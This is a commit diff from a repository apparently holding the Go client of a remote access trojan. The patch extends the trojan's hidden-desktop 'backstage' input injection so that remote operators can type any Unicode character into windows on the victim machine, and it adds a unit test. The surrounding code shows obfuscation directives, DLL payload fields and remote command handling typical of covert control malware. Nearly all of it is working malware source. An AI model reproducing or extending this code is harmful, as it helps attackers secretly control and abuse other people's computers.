vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

add all keyboard langs to backstage + fix test

Browse Source
This commit is contained in:
KingKDot
2026-07-30 14:59:00 -05:00
parent 91e9b3196a
commit 7369aa7014
10 changed files with 132 additions and 21 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Client/cmd/agent/capture/backstage_keyboard_windows_test.go
+33
View File
@@ -0,0 +1,33 @@
//go:build windows
package capture
import "testing"
func TestPrintableKeyText(t *testing.T) {
t.Parallel()
tests := []struct {
name string
in string
want string
}{
{name: "latin", in: "é", want: "é"},
{name: "cyrillic", in: "ж", want: "ж"},
{name: "cjk", in: "你", want: "你"},
{name: "supplementary plane", in: "😀", want: "😀"},
{name: "named key", in: "Enter", want: ""},
{name: "control", in: "\n", want: ""},
{name: "empty", in: "", want: ""},
}
for _, tt := range tests {
tt := tt
t.Run(tt.name, func(t *testing.T) {
t.Parallel()
if got := printableKeyText(tt.in); got != tt.want {
t.Fatalf("printableKeyText(%q) = %q, want %q", tt.in, got, tt.want)
}
})
}
}
Overlord-Client/cmd/agent/capture/backstage_stub.go
+1 -1
View File
@@ -47,7 +47,7 @@ func BackstageInputMouseUp(button int) error {
return errors.New("backstage not supported on this platform")
}
func BackstageInputKeyDown(vk uint16) error {
func BackstageInputKeyDown(vk uint16, text string) error {
return errors.New("backstage not supported on this platform")
}
Overlord-Client/cmd/agent/capture/backstage_uia_windows.go
+14 -8
View File
@@ -1425,13 +1425,15 @@ func uiaHandleMouseWheel(hwnd uintptr, screenPt point, delta int32) error {
return nil
}
func uiaHandleKey(hwnd uintptr, vk uint16, down bool) error {
func uiaHandleKey(hwnd uintptr, vk uint16, text string, down bool) error {
uiaEnsureWorker()
inputSite := findInputSiteChild(hwnd)
if inputSite != 0 {
if down {
if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) {
if text != "" && !isNonPrintableVK(vk) {
postTextMessage(inputSite, text)
} else if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) {
for _, r := range ch {
procPostMessageW.Call(inputSite, WM_CHAR, uintptr(r), uintptr(1))
}
@@ -1445,6 +1447,7 @@ func uiaHandleKey(hwnd uintptr, vk uint16, down bool) error {
if down {
key := vk
keyText := text
uiaRunAsync(func() {
if uiaSingleton == nil {
return
@@ -1452,7 +1455,7 @@ func uiaHandleKey(hwnd uintptr, vk uint16, down bool) error {
if !isModifierVK(key) && !isNonPrintableVK(key) {
elem := uiaSingleton.GetFocusedElement()
if elem != nil {
uiaTypeChar(elem, key)
uiaTypeChar(elem, key, keyText)
elem.Release()
}
} else if key == 0x08 || key == 0x2E {
@@ -1543,7 +1546,7 @@ func uiaScrollElement(elem *iuiAutomationElement, delta int32) bool {
return true
}
func uiaTypeChar(elem *iuiAutomationElement, vk uint16) bool {
func uiaTypeChar(elem *iuiAutomationElement, vk uint16, text string) bool {
pat := elem.GetCurrentPattern(uiaValuePatternID)
if pat == nil {
return false
@@ -1551,13 +1554,16 @@ func uiaTypeChar(elem *iuiAutomationElement, vk uint16) bool {
vp := (*iuiAutomationValuePattern)(unsafe.Pointer(pat))
defer vp.Release()
ch := virtualKeyToChars(vk)
if len(ch) == 0 {
return false
if text == "" {
ch := virtualKeyToChars(vk)
if len(ch) == 0 {
return false
}
text = string(ch)
}
current := vp.GetCurrentValue()
newVal := current + string(ch)
newVal := current + text
vp.SetValue(newVal)
return true
}
Overlord-Client/cmd/agent/capture/backstage_windows.go
+30 -7
View File
@@ -13,6 +13,7 @@ import (
"sync/atomic"
"syscall"
"time"
"unicode/utf8"
"unsafe"
)
@@ -223,6 +224,7 @@ type backstageTask struct {
y int32
button int
vk uint16
text string
delta int32
dllBytes []byte
captureDllBytes []byte
@@ -510,9 +512,9 @@ func ensurebackstageThread() error {
case backstageTaskMouseUp:
result.err = backstageMouseButtonOnThread(task.button, false)
case backstageTaskKeyDown:
result.err = backstageKeyOnThread(task.vk, true)
result.err = backstageKeyOnThread(task.vk, task.text, true)
case backstageTaskKeyUp:
result.err = backstageKeyOnThread(task.vk, false)
result.err = backstageKeyOnThread(task.vk, "", false)
case backstageTaskMouseWheel:
result.err = backstageMouseWheelOnThread(task.delta)
case backstageTaskAutoStartExplorer:
@@ -650,8 +652,8 @@ func BackstageInputMouseUp(button int) error {
return result.err
}
func BackstageInputKeyDown(vk uint16) error {
result, err := executebackstageTask(backstageTask{kind: backstageTaskKeyDown, vk: vk}, 3*time.Second)
func BackstageInputKeyDown(vk uint16, text string) error {
result, err := executebackstageTask(backstageTask{kind: backstageTaskKeyDown, vk: vk, text: printableKeyText(text)}, 3*time.Second)
if err != nil {
return err
}
@@ -1229,7 +1231,7 @@ func backstageMouseButtonOnThread(button int, down bool) error {
return nil
}
func backstageKeyOnThread(vk uint16, down bool) error {
func backstageKeyOnThread(vk uint16, text string, down bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
pt := currentbackstageCursor()
hwnd := windowFromPoint(pt)
@@ -1260,7 +1262,7 @@ func backstageKeyOnThread(vk uint16, down bool) error {
if isModifierVK(vk) {
return nil
}
return uiaHandleKey(hwnd, vk, down)
return uiaHandleKey(hwnd, vk, text, down)
}
if isModifierVK(vk) {
@@ -1268,7 +1270,9 @@ func backstageKeyOnThread(vk uint16, down bool) error {
}
if down {
if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) {
if text != "" && !isNonPrintableVK(vk) {
postTextMessage(hwnd, text)
} else if ch := virtualKeyToChars(vk); len(ch) > 0 && !isNonPrintableVK(vk) {
for _, r := range ch {
procPostMessageW.Call(hwnd, WM_CHAR, uintptr(r), uintptr(1))
}
@@ -1281,6 +1285,25 @@ func backstageKeyOnThread(vk uint16, down bool) error {
return nil
}
func printableKeyText(text string) string {
if !utf8.ValidString(text) || utf8.RuneCountInString(text) != 1 {
return ""
}
r, _ := utf8.DecodeRuneInString(text)
if r < 0x20 || r == 0x7f {
return ""
}
return text
}
func postTextMessage(hwnd uintptr, text string) {
for _, unit := range syscall.StringToUTF16(text) {
if unit != 0 {
procPostMessageW.Call(hwnd, WM_CHAR, uintptr(unit), uintptr(1))
}
}
}
func foregroundWindow() uintptr {
r, _, _ := procGetForegroundWindow.Call()
return r
Overlord-Client/cmd/agent/handlers/command.go
+7 -2
View File
@@ -80,6 +80,7 @@ type backstageInputEvent struct {
button int
delta int32
vk uint16
text string
}
type voiceRuntime struct {
@@ -233,7 +234,7 @@ func ensurebackstageInputWorker() {
log.Printf("backstage input worker: mouse_wheel failed: %v", err)
}
case BackstageInputKeyDown:
if err := capture.BackstageInputKeyDown(ev.vk); err != nil {
if err := capture.BackstageInputKeyDown(ev.vk, ev.text); err != nil {
log.Printf("backstage input worker: key_down vk=%d failed: %v", ev.vk, err)
}
case BackstageInputKeyUp:
@@ -1736,10 +1737,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}
payload, _ := envelope["payload"].(map[string]interface{})
code := ""
text := ""
if payload != nil {
if v, ok := payload["code"].(string); ok {
code = v
}
if v, ok := payload["text"].(string); ok {
text = v
}
}
if vk := keyCodeToVKbackstage(code); vk != 0 {
if env.VirtualCancel != nil {
@@ -1750,7 +1755,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.VirtualInputKeyDown(vk)
return nil
}
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk, text: text})
}
return nil
case "backstage_key_up":